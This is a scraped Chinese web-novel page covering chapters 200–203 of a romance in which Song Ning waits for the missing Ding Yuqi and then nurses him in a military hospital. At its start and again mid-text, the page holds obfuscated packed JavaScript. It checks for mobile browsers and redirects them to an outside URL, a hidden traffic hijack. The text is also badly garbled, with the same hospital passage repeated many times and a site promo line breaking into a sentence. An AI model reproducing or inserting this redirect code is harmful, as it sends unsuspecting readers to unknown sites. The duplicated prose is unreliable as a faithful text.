d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16284068|177983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生疏了。” 陈老爷子安抚似的笑了一下:“没关系,我也有好一阵子没跟人切磋过棋艺了。” 宋凝找到了新话题,好奇发问到:“军营里有这么多人,是大家都没时间么?” “大家训练都忙,又怕我忽然问他们训练成果,跑都来不及呢,哪里还有空来陪我下棋?不过这只是一方面原因……”陈老爷子说到这里,若有所思的顿了一瞬才继续往下讲。 “更要紧的其实是他们不知道该怎么跟我下棋,赢了我一个老头子显然是不合适,但如果输给我,又会显得像是在拍马屁,所以不管是会下棋的还是不会下棋的年轻人都不喜欢跟我下。” “不过丁予期是个例外,他是我的外孙子,不需要顾虑那么多,跟我下棋一直想赢就赢,想输就输,完全看他的心情……” 他同宋凝说了不少跟丁予期之间的往事。 宋凝从不知道丁予期还有这样一面,听的津津有味,末了感叹道:“真没想到他这个人嘴巴那么坏,私底下竟然还有这么孝顺的时候。” “其实他就是嘴硬心软,一直都是个好孩子。”陈老爷子的语速放的很慢,仿佛有着说不出的惆怅。 宋凝因此瞬间就从温情中清醒过来了,再次意识到了眼下的情景,他们不是闲来无事在下棋消遣,而是为了能在等待生死未卜的丁予期传回消息的过程中打发时间,所以才会坐在这里的。 陈老爷子轻轻落下一子问:“其实我有个问题想问你,不需要急着回答,只希望你不要为了安慰我,所以特意说好话就行。” 他像是一夜间老了许多岁,连鬓边的白发都变得格外明显。 宋凝紧张不已的点了点头:“您说,我一定知无不言。” 陈老爷子于是目光平和的看着她,缓声道:“如果……我是说如果最糟糕的情况已经发生,予期再也回不来了,你会不会考虑走回头路?” 他没有提起傅东擎,可这里的回头路指的只能是这个人。 第二百零一章 诡计多端实在不像是什么好词 宋凝后知后觉的意识到,或许陈老先生所了解的跟她有关的情况本就比她所以为的要多的多。 短暂的沉默过后,她认真道:“这种情况不会发生的。” 陈老爷子没有认为她是在逃避,而是微微笑了一下:“其实如果现实一点,傅东擎确实也算是个不错的退路……” “丁予期这个人诡计多端,无论遇到什么危险都能想出解决问题的法子,所以我相信他这次也一样能回来。” 宋凝也不知道是从哪里来的信心,可只要一提起跟他有关的事,就莫名的坚定。 大概是因为丁予期在她面前逞强的次数太多,让她已经无法用看待普通人的目光去看待他了吧,她心念因此微微一动。 陈老爷子在短短数十秒内想过许多种可能,但却唯独没想到会是这么个答案,不禁替丁予期担心起来问:“小凝啊,你对我家这个臭小子是不是印象不太好?” 这次轮到宋凝问为什么了,她看向他的目光变得迷惑起来。 “因为……诡计多端实在不像是什么好词啊,哈哈。” 陈老爷子想着择日不如撞日,索性把困扰自己许久的问题讲出口道,“他是我亲外孙,我自然是看他哪里都好,但他毕竟是抢了自己兄弟的女人。” 当初的事说来复杂,早就理不清楚具体是怎么变成那样一个结果的了,但可以肯定的唯有两件事,一件是傅东擎对不起宋凝,另一件就是丁予期有在推波助澜。 若是宋凝有意计较这些,对他有负面印象是没办法的事。 可宋凝很认真的解释说:“您误会了,我没有说他坏话的意思,只是跟他斗嘴习惯了,有些词汇下意识就用上了,至于他本人的品行……确实也用不上这个词,顶多算得上是擅长辞令。” “哈哈,你这个小姑娘说的对,他从小就嘴皮子厉害,还是缺个同样牙尖嘴利的治他,我看你能行,千万别跟他客气。” 陈老爷子看的出来,宋凝虽然没用好词形容丁予期,但言谈间绝对不讨厌他,甚至还很可能有些许好感,都说打是亲骂是爱,他们两个的所谓吵架不就是打情骂俏么? 他嘴角扬起的笑意直到这局棋下完都没消失。 可宋凝的心就没这么快能收回到肚子里去了,她浑浑噩噩的又过了一天,期间也躺在床上休息过,但却连自己睡着了没有都不知道。 直到唐婷和祝如星不放心她,又特意过来探望了一番。 宋凝怀里抱着察觉到她的心情,所以变得乖巧了许多的滚滚,勉强扯 出个笑容,没话找话的问:“你们怎么来了?今天不参观了么?我听说训练项目每周都会有变化,错过就没得看了。” 唐婷叹了口气:“你要是觉得焦虑或者难过就哭出来吧,人在着急的时候哭一场会好受很多,千万别憋在心里。” 她也知道自己说这样的话显得太悲观了,可是丁予期已经音讯全无两天了,怎么看都是凶多吉少。 宋凝揉了下发红的眼角说:“我真的没事,只是休息不好,所以脸色不好看罢了。” 祝如星实在是忍不住了,直言不讳道:“你就别强颜欢笑了,在别人面前装成没事人也就算了,在我们两个面前还装不累么?唉,真不知道陈老先生是怎么想的,现在竟然还有心情训练。” 丁予期失踪之后,陈老爷子除了最初过问了几句外,就再没有任何表示了,相比之下,他对自己的部下都更上心。 唐婷观察了两天,对此也颇有微词:“是啊,那可是他亲外孙,他们家的亲情是不是有点太淡薄了?” 她们两个外人看起来都比陈老爷子这个亲外公对丁予期的失踪更上心。 宋凝神情苦涩的一笑:“其实陈老先生并没有看起来这么冷静,他只是知道自己不能垮,所以在硬撑罢了,毕竟他不只是丁予期的外公,也是这里的**。” 如果没有这种觉悟,他是不可能走到今天的位置上去的。 唐婷和祝如星听的似懂非懂,正准备同她聊些另外能转移注意力的事,宿舍门外的走廊里忽然传来一阵急促的脚步声,而不等她们反应过来,萝卜连门都顾不上敲,直接就推门闯了进来。 房间里的三人一狗齐刷刷的看了过去,都在等着他做最后的宣判,直到他一手扶着门框,一手撑住膝盖,气喘吁吁道:“丁儿回来了!” 这无疑是个特大喜讯,效果比往平静的水面上丢了个惊雷还来得更大。 宋凝率先起身追问:“他现在在哪儿?” 萝卜是一路狂奔回来的,整个人都累的快晕过去了,但为了让等在这里的人能安心,还是勉强挤出一句:“已经送去军区医院了……” 他说着,身形摇摇晃晃的往外走去,而宋凝她们急忙跟上,生怕会耽误哪怕一分一秒。 军区医院距离这边算是近的,当他们赶到丁予期所在的病房时,他还没有脱离危险,身边围着许多医护人员,空气中弥漫着紧张气息不说,就连监护仪的噪音都比平时变得更刺耳了。 宋凝在萝卜的帮助下凑到近处看了一眼,只见丁予期双目紧闭,眉心紧蹙,脸色更是比一侧的白墙还要更缺乏血色,这副样子怎么瞧不像是没事,反而让她再度呼吸一紧,感到无比揪心。 可就在她想要把他的模样看的稍微更清楚一点的时候,医生急急忙忙的推着他所在的担架车进了抢救室,只留下一句:“家属请在外面等候。” 宋凝一颗心焦灼的像是在火上烤,但为了不影响丁予期治疗,还是一句话没敢打扰,就这样魂不守舍的等在走廊里,等到抢救室的门再次打开,她第一时间迎上前问:“他脱离危险了么?” “请放心,病人已经没什么大碍了,虽然还有些脱水,但输液补充些生理盐水,再多休息一段时间就会好起来的。” 出个笑容,没话找话的问:“你们怎么来了?今天不参观了么?我听说训练项目每周都会有变化,错过就没得看了。” 唐婷叹了口气:“你要是觉得焦虑或者难过就哭出来吧,人在着急的时候哭一场会好受很多,千万别憋在心里。” 她也知道自己说这样的话显得太悲观了,可是丁予期已经音讯全无两天了,怎么看都是凶多吉少。 宋凝揉了下发红的眼角说:“我真的没事,只是休息不好,所以脸色不好看罢了。” 祝如星实在是忍不住了,直言不讳道:“你就别强颜欢笑了,在别人面前装成没事人也就算了,在我们两个面前还装不累么?唉,真不知道陈老先生是怎么想的,现在竟然还有心情训练。” 丁予期失踪之后,陈老爷子除了最初过问了几句外,就再没有任何表示了,相比之下,他对自己的部下都更上心。 唐婷观察了两天,对此也颇有微词:“是啊,那可是他亲外孙,他们家的亲情是不是有点太淡薄了?” 她们两个外人看起来都比陈老爷子这个亲外公对丁予期的失踪更上心。 宋凝神情苦涩的一笑:“其实陈老先生并没有看起来这么冷静,他只是知道自己不能垮,所以在硬撑罢了,毕竟他不只是丁予期的外公,也是这里的**。” 如果没有这种觉悟,他是不可能走到今天的位置上去的。 唐婷和祝如星听的似懂非懂,正准备同她聊些另外能转移注意力的事,宿舍门外的走廊里忽然传来一阵急促的脚步声,而不等她们反应过来,萝卜连门都顾不上敲,直接就推门闯了进来。 房间里的三人一狗齐刷刷的看了过去,都在等着他做最后的宣判,直到他一手扶着门框,一手撑住膝盖,气喘吁吁道:“丁儿回来了!” 这无疑是个特大喜讯,效果比往平静的水面上丢了个惊雷还来得更大。 宋凝率先起身追问:“他现在在哪儿?” 萝卜是一路狂奔回来的,整个人都累的快晕过去了,但为了让等在这里的人能安心,还是勉强挤出一句:“已经送去军区医院了……” 他说着,身形摇摇晃晃的往外走去,而宋凝她们急忙跟上,生怕会耽误哪怕一分一秒。 军区医院距离这边算是近的,当他们赶到丁予期所在的病房时,他还没有脱离危险,身边围着许多医护人员,空气中弥漫着紧张气息不说,就连监护仪的噪音都比平时变得更刺耳了。 宋凝在萝卜的帮助下凑到近处看了一眼,只见丁予期双目紧闭,眉心紧蹙,脸色更是比一侧的白墙还要更缺乏血色,这副样子怎么瞧不像是没事,反而让她再度呼吸一紧,感到无比揪心。 可就在她想要把他的模样看的稍微更清楚一点的时候,医生急急忙忙的推着他所在的担架车进了抢救室,只留下一句:“家属请在外面等候。” 宋凝一颗心焦灼的像是在火上烤,但为了不影响丁予期治疗,还是一句话没敢打扰,就这样魂不守舍的等在走廊里,等到抢救室的门再次打开,她第一时间迎上前问:“他脱离危险了么?” “请放心,病人已经没什么大碍了,虽然还有些脱水,但输液补充些生理盐水,再多休息一段时间就会好起来的。” 出个笑容,没话找话的问:“你们怎么来了?今天不参观了么?我听说训练项目每周都会有变化,错过就没得看了。” 唐婷叹了口气:“你要是觉得焦虑或者难过就哭出来吧,人在着急的时候哭一场会好受很多,千万别憋在心里。” 她也知道自己说这样的话显得太悲观了,可是丁予期已经音讯全无两天了,怎么看都是凶多吉少。 宋凝揉了下发红的眼角说:“我真的没事,只是休息不好,所以脸色不好看罢了。” 祝如星实在是忍不住了,直言不讳道:“你就别强颜欢笑了,在别人面前装成没事人也就算了,在我们两个面前还装不累么?唉,真不知道陈老先生是怎么想的,现在竟然还有心情训练。” 丁予期失踪之后,陈老爷子除了最初过问了几句外,就再没有任何表示了,相比之下,他对自己的部下都更上心。 唐婷观察了两天,对此也颇有微词:“是啊,那可是他亲外孙,他们家的亲情是不是有点太淡薄了?” 她们两个外人看起来都比陈老爷子这个亲外公对丁予期的失踪更上心。 宋凝神情苦涩的一笑:“其实陈老先生并没有看起来这么冷静,他只是知道自己不能垮,所以在硬撑罢了,毕竟他不只是丁予期的外公,也是这里的**。” 如果没有这种觉悟,他是不可能走到今天的位置上去的。 唐婷和祝如星听的似懂非懂,正准备同她聊些另外能转移注意力的事,宿舍门外的走廊里忽然传来一阵急促的脚步声,而不等她们反应过来,萝卜连门都顾不上敲,直接就推门闯了进来。 房间里的三人一狗齐刷刷的看了过去,都在等着他做最后的宣判,直到他一手扶着门框,一手撑住膝盖,气喘吁吁道:“丁儿回来了!” 这无疑是个特大喜讯,效果比往平静的水面上丢了个惊雷还来得更大。 宋凝率先起身追问:“他现在在哪儿?” 萝卜是一路狂奔回来的,整个人都累的快晕过去了,但为了让等在这里的人能安心,还是勉强挤出一句:“已经送去军区医院了……” 他说着,身形摇摇晃晃的往外走去,而宋凝她们急忙跟上,生怕会耽误哪怕一分一秒。 军区医院距离这边算是近的,当他们赶到丁予期所在的病房时,他还没有脱离危险,身边围着许多医护人员,空气中弥漫着紧张气息不说,就连监护仪的噪音都比平时变得更刺耳了。 宋凝在萝卜的帮助下凑到近处看了一眼,只见丁予期双目紧闭,眉心紧蹙,脸色更是比一侧的白墙还要更缺乏血色,这副样子怎么瞧不像是没事,反而让她再度呼吸一紧,感到无比揪心。 可就在她想要把他的模样看的稍微更清楚一点的时候,医生急急忙忙的推着他所在的担架车进了抢救室,只留下一句:“家属请在外面等候。” 宋凝一颗心焦灼的像是在火上烤,但为了不影响丁予期治疗,还是一句话没敢打扰,就这样魂不守舍的等在走廊里,等到抢救室的门再次打开,她第一时间迎上前问:“他脱离危险了么?” “请放心,病人已经没什么大碍了,虽然还有些脱水,但输液补充些生理盐水,再多休息一段时间就会好起来的。” 出个笑容,没话找话的问:“你们怎么来了?今天不参观了么?我听说训练项目每周都会有变化,错过就没得看了。” 唐婷叹了口气:“你要是觉得焦虑或者难过就哭出来吧,人在着急的时候哭一场会好受很多,千万别憋在心里。” 她也知道自己说这样的话显得太悲观了,可是丁予期已经音讯全无两天了,怎么看都是凶多吉少。 宋凝揉了下发红的眼角说:“我真的没事,只是休息不好,所以脸色不好看罢了。” 祝如星实在是忍不住了,直言不讳道:“你就别强颜欢笑了,在别人面前装成没事人也就算了,在我们两个面前还装不累么?唉,真不知道陈老先生是怎么想的,现在竟然还有心情训练。” 丁予期失踪之后,陈老爷子除了最初过问了几句外,就再没有任何表示了,相比之下,他对自己的部下都更上心。 唐婷观察了两天,对此也颇有微词:“是啊,那可是他亲外孙,他们家的亲情是不是有点太淡薄了?” 她们两个外人看起来都比陈老爷子这个亲外公对丁予期的失踪更上心。 宋凝神情苦涩的一笑:“其实陈老先生并没有看起来这么冷静,他只是知道自己不能垮,所以在硬撑罢了,毕竟他不只是丁予期的外公,也是这里的**。” 如果没有这种觉悟,他是不可能走到今天的位置上去的。 唐婷和祝如星听的似懂非懂,正准备同她聊些另外能转移注意力的事,宿舍门外的走廊里忽然传来一阵急促的脚步声,而不等她们反应过来,萝卜连门都顾不上敲,直接就推门闯了进来。 房间里的三人一狗齐刷刷的看了过去,都在等着他做最后的宣判,直到他一手扶着门框,一手撑住膝盖,气喘吁吁道:“丁儿回来了!” 这无疑是个特大喜讯,效果比往平静的水面上丢了个惊雷还来得更大。 宋凝率先起身追问:“他现在在哪儿?” 萝卜是一路狂奔回来的,整个人都累的快晕过去了,但为了让等在这里的人能安心,还是勉强挤出一句:“已经送去军区医院了……” 他说着,身形摇摇晃晃的往外走去,而宋凝她们急忙跟上,生怕会耽误哪怕一分一秒。 军区医院距离这边算是近的,当他们赶到丁予期所在的病房时,他还没有脱离危险,身边围着许多医护人员,空气中弥漫着紧张气息不说,就连监护仪的噪音都比平时变得更刺耳了。 宋凝在萝卜的帮助下凑到近处看了一眼,只见丁予期双目紧闭,眉心紧蹙,脸色更是比一侧的白墙还要更缺乏血色,这副样子怎么瞧不像是没事,反而让她再度呼吸一紧,感到无比揪心。 可就在她想要把他的模样看的稍微更清楚一点的时候,医生急急忙忙的推着他所在的担架车进了抢救室,只留下一句:“家属请在外面等候。” 宋凝一颗心焦灼的像是在火上烤,但为了不影响丁予期治疗,还是一句话没敢打扰,就这样魂不守舍的等在走廊里,等到抢救室的门再次打开,她第一时间迎上前问:“他脱离危险了么?” “请放心,病人已经没什么大碍了,虽然还有些脱水,但输液补充些生理盐水,再多休息一段时间就会好起来的。” 出个笑容,没话找话的问:“你们怎么来了?今天不参观了么?我听说训练项目每周都会有变化,错过就没得看了。” 唐婷叹了口气:“你要是觉得焦虑或者难过就哭出来吧,人在着急的时候哭一场会好受很多,千万别憋在心里。” 她也知道自己说这样的话显得太悲观了,可是丁予期已经音讯全无两天了,怎么看都是凶多吉少。 宋凝揉了下发红的眼角说:“我真的没事,只是休息不好,所以脸色不好看罢了。” 祝如星实在是忍不住了,直言不讳道:“你就别强颜欢笑了,在别人面前装成没事人也就算了,在我们两个面前还装不累么?唉,真不知道陈老先生是怎么想的,现在竟然还有心情训练。” 丁予期失踪之后,陈老爷子除了最初过问了几句外,就再没有任何表示了,相比之下,他对自己的部下都更上心。 唐婷观察了两天,对此也颇有微词:“是啊,那可是他亲外孙,他们家的亲情是不是有点太淡薄了?” 她们两个外人看起来都比陈老爷子这个亲外公对丁予期的失踪更上心。 宋凝神情苦涩的一笑:“其实陈老先生并没有看起来这么冷静,他只是知道自己不能垮,所以在硬撑罢了,毕竟他不只是丁予期的外公,也是这里的**。” 如果没有这种觉悟,他是不可能走到今天的位置上去的。 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萝卜是一路狂奔回来的,整个人都累的快晕过去了,但为了让等在这里的人能安心,还是勉强挤出一句:“已经送去军区医院了……” 他说着,身形摇摇晃晃的往外走去,而宋凝她们急忙跟上,生怕会耽误哪怕一分一秒。 军区医院距离这边算是近的,当他们赶到丁予期所在的病房时,他还没有脱离危险,身边围着许多医护人员,空气中弥漫着紧张气息不说,就连监护仪的噪音都比平时变得更刺耳了。 宋凝在萝卜的帮助下凑到近处看了一眼,只见丁予期双目紧闭,眉心紧蹙,脸色更是比一侧的白墙还要更缺乏血色,这副样子怎么瞧不像是没事,反而让她再度呼吸一紧,感到无比揪心。 可就在她想要把他的模样看的稍微更清楚一点的时候,医生急急忙忙的推着他所在的担架车进了抢救室,只留下一句:“家属请在外面等候。” 宋凝一颗心焦灼的像是在火上烤,但为了不影响丁予期治疗,还是一句话没敢打扰,就这样魂不守舍的等在走廊里,等到抢救室的门再次打开,她第一时间迎上前问:“他脱离危险了么?” “请放心,病人已经没什么大碍了,虽然还有些脱水,但输液补充些生理盐水,再多休息一段时间就会好起来的。” 出个笑容,没话找话的问:“你们怎么来了?今天不参观了么?我听说训练项目每周都会有变化,错过就没得看了。” 唐婷叹了口气:“你要是觉得焦虑或者难过就哭出来吧,人在着急的时候哭一场会好受很多,千万别憋在心里。” 她也知道自己说这样的话显得太悲观了,可是丁予期已经音讯全无两天了,怎么看都是凶多吉少。 宋凝揉了下发红的眼角说:“我真的没事,只是休息不好,所以脸色不好看罢了。” 祝如星实在是忍不住了,直言不讳道:“你就别强颜欢笑了,在别人面前装成没事人也就算了,在我们两个面前还装不累么?唉,真不知道陈老先生是怎么想的,现在竟然还有心情训练。” 丁予期失踪之后,陈老爷子除了最初过问了几句外,就再没有任何表示了,相比之下,他对自己的部下都更上心。 唐婷观察了两天,对此也颇有微词:“是啊,那可是他亲外孙,他们家的亲情是不是有点太淡薄了?” 她们两个外人看起来都比陈老爷子这个亲外公对丁予期的失踪更上心。 宋凝神情苦涩的一笑:“其实陈老先生并没有看起来这么冷静,他只是知道自己不能垮,所以在硬撑罢了,毕竟他不只是丁予期的外公,也是这里的**。” 如果没有这种觉悟,他是不可能走到今天的位置上去的。 唐婷和祝如星听的似懂非懂,正准备同她聊些另外能转移注意力的事,宿舍门外的走廊里忽然传来一阵急促的脚步声,而不等她们反应过来,萝卜连门都顾不上敲,直接就推门闯了进来。 房间里的三人一狗齐刷刷的看了过去,都在等着他做最后的宣判,直到他一手扶着门框,一手撑住膝盖,气喘吁吁道:“丁儿回来了!” 这无疑是个特大喜讯,效果比往平静的水面上丢了个惊雷还来得更大。 宋凝率先起身追问:“他现在在哪儿?” 萝卜是一路狂奔回来的,整个人都累的快晕过去了,但为了让等在这里的人能安心,还是勉强挤出一句:“已经送去军区医院了……” 他说着,身形摇摇晃晃的往外走去,而宋凝她们急忙跟上,生怕会耽误哪怕一分一秒。 军区医院距离这边算是近的,当他们赶到丁予期所在的病房时,他还没有脱离危险,身边围着许多医护人员,空气中弥漫着紧张气息不说,就连监护仪的噪音都比平时变得更刺耳了。 宋凝在萝卜的帮助下凑到近处看了一眼,只见丁予期双目紧闭,眉心紧蹙,脸色更是比一侧的白墙还要更缺乏血色,这副样子怎么瞧不像是没事,反而让她再度呼吸一紧,感到无比揪心。 可就在她想要把他的模样看的稍微更清楚一点的时候,医生急急忙忙的推着他所在的担架车进了抢救室,只留下一句:“家属请在外面等候。” 宋凝一颗心焦灼的像是在火上烤,但为了不影响丁予期治疗,还是一句话没敢打扰,就这样魂不守舍的等在走廊里,等到抢救室的门再次打开,她第一时间迎上前问:“他脱离危险了么?” “请放心,病人已经没什么大碍了,虽然还有些脱水,但输液补充些生理盐水,再多休息一段时间就会好起来的。” 出个笑容,没话找话的问:“你们怎么来了?今天不参观了么?我听说训练项目每周都会有变化,错过就没得看了。” 唐婷叹了口气:“你要是觉得焦虑或者难过就哭出来吧,人在着急的时候哭一场会好受很多,千万别憋在心里。” 她也知道自己说这样的话显得太悲观了,可是丁予期已经音讯全无两天了,怎么看都是凶多吉少。 宋凝揉了下发红的眼角说:“我真的没事,只是休息不好,所以脸色不好看罢了。” 祝如星实在是忍不住了,直言不讳道:“你就别强颜欢笑了,在别人面前装成没事人也就算了,在我们两个面前还装不累么?唉,真不知道陈老先生是怎么想的,现在竟然还有心情训练。” 丁予期失踪之后,陈老爷子除了最初过问了几句外,就再没有任何表示了,相比之下,他对自己的部下都更上心。 唐婷观察了两天,对此也颇有微词:“是啊,那可是他亲外孙,他们家的亲情是不是有点太淡薄了?” 她们两个外人看起来都比陈老爷子这个亲外公对丁予期的失踪更上心。 宋凝神情苦涩的一笑:“其实陈老先生并没有看起来这么冷静,他只是知道自己不能垮,所以在硬撑罢了,毕竟他不只是丁予期的外公,也是这里的**。” 如果没有这种觉悟,他是不可能走到今天的位置上去的。 唐婷和祝如星听的似懂非懂,正准备同她聊些另外能转移注意力的事,宿舍门外的走廊里忽然传来一阵急促的脚步声,而不等她们反应过来,萝卜连门都顾不上敲,直接就推门闯了进来。 房间里的三人一狗齐刷刷的看了过去,都在等着他做最后的宣判,直到他一手扶着门框,一手撑住膝盖,气喘吁吁道:“丁儿回来了!” 这无疑是个特大喜讯,效果比往平静的水面上丢了个惊雷还来得更大。 宋凝率先起身追问:“他现在在哪儿?” 萝卜是一路狂奔回来的,整个人都累的快晕过去了,但为了让等在这里的人能安心,还是勉强挤出一句:“已经送去军区医院了……” 他说着,身形摇摇晃晃的往外走去,而宋凝她们急忙跟上,生怕会耽误哪怕一分一秒。 军区医院距离这边算是近的,当他们赶到丁予期所在的病房时,他还没有脱离危险,身边围着许多医护人员,空气中弥漫着紧张气息不说,就连监护仪的噪音都比平时变得更刺耳了。 宋凝在萝卜的帮助下凑到近处看了一眼,只见丁予期双目紧闭,眉心紧蹙,脸色更是比一侧的白墙还要更缺乏血色,这副样子怎么瞧不像是没事,反而让她再度呼吸一紧,感到无比揪心。 可就在她想要把他的模样看的稍微更清楚一点的时候,医生急急忙忙的推着他所在的担架车进了抢救室,只留下一句:“家属请在外面等候。” 宋凝一颗心焦灼的像是在火上烤,但为了不影响丁予期治疗,还是一句话没敢打扰,就这样魂不守舍的等在走廊里,等到抢救室的门再次打开,她第一时间迎上前问:“他脱离危险了么?” “请放心,病人已经没什么大碍了,虽然还有些脱水,但输液补充些生理盐水,再多休息一段时间就会好起来的。” 第二百零二章 一日不见如隔三秋 医生心情颇为轻快的说着,看样子抢救真的很成功。 宋凝的心总算是落回到肚子里去了,她连连向医生道谢,然后才加快步子赶往病房方向。 唐婷他们跟了她一路,这时见她经历了情绪上的大起大落,生怕她会因为太激动而出事,连忙也跟了上去。 一行人浩浩荡荡往病房方向去了,要不是军区病房够宽敞,里面都不一定能站得下大家。 宋凝顾不上,更没心思去想那许多有的没的,她只知道自己跟丁予期一日不见如隔三秋,再不细看他的模样的话,她就快被从心底涌起的情绪给压垮了。 特护病房里很安静,除了监护仪的声音,就只有生理盐水在输液管中发出滴答声。 宋凝下意识的屏息凝神,直到站到病床前都没敢发出任何噪音,然后她清清楚楚的对上了丁予期迥异于以往的面容。 那张轮廓明晰的英俊脸庞在短短三天内瘦削到了脸颊凹陷的地步,就连下巴上泛青的胡茬也明显的让人无法忽视,但这些外貌上的损失相比于他在健康上所受的影响完全能够忽略不计。 丁予期面颊上有着明显到无法忽略的擦伤,没被衣袖遮住的手臂上更是遍布淤青划痕和被蚊虫叮咬过的痕迹,看起来十分骇人。 宋凝说不出心里具体是个什么滋味,只知道她并不想看到他现在这样憔悴的模样。 医生见他们来了这么多人,愕然之余问到:“你们谁留下陪护?病人还在昏迷中,我有些注意事项要交代。” 萝卜照例是最有眼力见的那个人,他拽住大拿和老姚,清了清嗓子道:“人已经看过,就别在这里打扰丁儿休息了,接下来的事就交给小嫂子,我们先回去吧。” “可是……”唐婷略有微词,但祝如星及时把她也给拉走了。 宋凝原本就有留下来照顾丁予期的打算,见其他人都走了,更是义不容辞的对医生说:“我留下来照顾他,您有事要交代的话直接告诉我就好。” 医生听到这话,理所当然的以为他们不是夫妻就是感情甚笃的情侣,详细的交代了许多事,包括怎么照顾一个昏睡中的病人,以及像丁予期这样的情况需要怎么休养生息才能够完全复原…… 这些事枯燥又无聊,但宋凝仍旧听的很认真。 等医生去别的病房巡查时,不忘主动向前来送药的护士询问:“他看起来很不安,有没有能让他睡的舒服一些的办法?比如说我找人给他洗个澡?” 丁予期向来爱干净,这次却是在山林里三天都没换过衣 你的朋友正在书荒,快去帮帮他吧 服了,衣服早就臭了,也难怪他哪怕已经昏迷过去,也还是睡的不安稳,换作谁都会受不了的 护士能明白宋凝的心情,主动同她说起了一些护理技巧:“病人受的外伤其实并不严重,但他浑身都湿透了,还有发烧的迹象,你用浸了热水的毛巾给他擦擦手脚,说不定会促进血液循环,让他舒服些。” 宋凝听到这话一刻都没敢耽搁,她立刻去住院部一楼的超市,把住院用的上的东西都给买齐了,其中就包括崭新的毛巾和脸盆,是打算在接下来的住院时间里不请护工,亲自照顾他。 丁予期对她所做的准备工作一无所知,只知道当他靠着昏厥前定下的目标逼着自己睁开眼时命运的齿轮就在缓缓转动了。 他已经从随时有可能遇险的山林回到了安全的人间,而她就趴在他枕边的一小块位置,怎么看都是为他来的。 清冷的月光透过敞开的宿舍窗户照在宋凝身上,仿佛是给她镀上了一层理想中的光辉,看的丁予期拖着疲惫的身体管了点闲事。 一张薄薄的毯子缓缓展开,被他用遍布细小伤口的手给盖到了宋凝身上。 宋凝睡的并不安稳,她半梦半醒之间似乎做了个噩梦,梦里没有推门而入的萝卜,只有一个冷冰冰的噩耗。 一阵钝痛漫过心间。 原来如果丁予期真的再也回不来了,她也是会难过的,他对她或许没有特别重要,却也早就不是什么无关紧要的人了。 “丁予期……” 宋凝轻声呢喃着唤了一声他的名字,等意识到自己就趴在他的病床旁边,瞬间感到难为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16291503|177983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情的清醒了过来,语无伦次的解释道:“我没哭啊,我只是——” 话刚说了个开头就没有继续下去的必要了,因为昨晚还躺着个人的病床赫然已经空了,就连被褥和枕头也整理的特别整齐。 可时间还早,护士也不像来查过房的样子,难不成是出事了? 宋凝瞬间想起了方才做过的梦,她着急忙慌的站起身来,一边往病房里张望一边喊着丁予期的名字,见始终没人回应,连自己尚未洗漱都顾不上了,困意全无的又往外跑去。 病房门刚打开,一道刚好折返回来的身影就跟她结结实实的撞在了一起。 丁予期及时抬手护住宋凝,关切道:“怎么了?大早上的急成这样?” 宋凝听到他的声音,下意识攥住了他的手臂问:“你去哪儿了?” 丁予期感到好笑似的一抬手:“当然是买早餐去了。” 宋凝听到这话更生气了,同他拉开距离道:“你现在是病人,最需要做和最应该做的事都是养伤!” “小伤而已,休养了一晚已经好的差不多了。”丁予期见她肯关心他,就已经够高兴的了,哪里还会计较太多,唇角上翘道,“喏,你还没吃早饭吧?不然先吃点早餐消消气。” 她这才注意到,原来他没护着自己的那只手里赫然提着一袋早餐,是热腾腾的小笼包和豆浆,而这两样都是她喜欢的口味,让她登时没了责备他不好好养伤的底气,只能拉着他回病房。 如果丁予期愿意,完全可以轻而易举的甩开她的手。 可是他非但没有,反而紧紧回握住了她的。 宋凝对他的心思毫无察觉,单就是把早餐放到床头柜上,然后按着他躺下,气呼呼的叮嘱道:“你知不知道,昨天医生都跟我说过什么?你脱水严重,如果晚一些被找到很可能会丧命!” “之前不知道,但是现在知道了。” 丁予期自知乱跑不对,所以表现的格外听话,哪怕是被她没好气的训了,也照样发自内心的感到幸福,只在嘴上逞能,“宋**,我保证管住这两条腿,你不发话就一动也不动,行不?” 第二百零三章 用气味标记领地的雄兽 宋凝冲着天花板一翻眼皮:“呵,我会信你这话就有鬼了,不过你放心,现在轮到我去学养猪的十大技巧了,这次保证把你养的白白胖胖圆头圆脑。” 话里话外都不忘挤兑丁予期才是猪。 丁予期丝毫不生气,而是顺着调侃道:“那没办法,谁让你现在是猪司令,不仅养我,还要养个毛茸茸的小猪。” 毛茸茸的小猪指的只能是滚滚。 宋凝没想到他现在还记着滚滚的事,没好气的问:“你都这么大的人了,竟然还跟几个月大的小狗计较,不以为耻还反以为荣?” “大人和小狗也有区别,小狗是健康的小狗,我现在可是个生病的大人。” 丁予期理直气壮的展示着身上的病号服。 两人你一言我一语,谁也不肯在嘴皮子上让着对方。 但却非但没有吵出火气,反而越来越热闹,宋凝甚至抽空去洗漱了一番,然后才回来吃早餐。 丁予期毫不客气的表示:“我也饿了。” “那就起来吃饭。” 宋凝才不打算惯着他,自顾自的吃起了小笼包,可一想到包子是他带着伤买回来的,而他本人就在旁边眼巴巴的看着,立刻觉得包子都不香了。 丁予期一言不发,单就是继续盯着包子看。 “看什么?想吃?” 丁予期叹了口气:“**,人是铁饭是钢,外面条幅上的标语你看过没?” 宋凝当然看过了。 军营里处处都是标语。 而宿舍楼上用油漆写的一行大字就是:【营养也是战斗力】。 宋凝哼了一声:“我记得你原来说过,你可是要喝露水的。包子这种俗物根本配不上你小丁总高贵的五脏庙啊。” 丁予期这次倒是没再继续跟她斗嘴。 他忙活了将近四十个小时,又是救人就是求生,铁打的人也早就筋疲力竭的。 好不容易撑到回到营地,也没吃多少东西就被送去了部队医院。 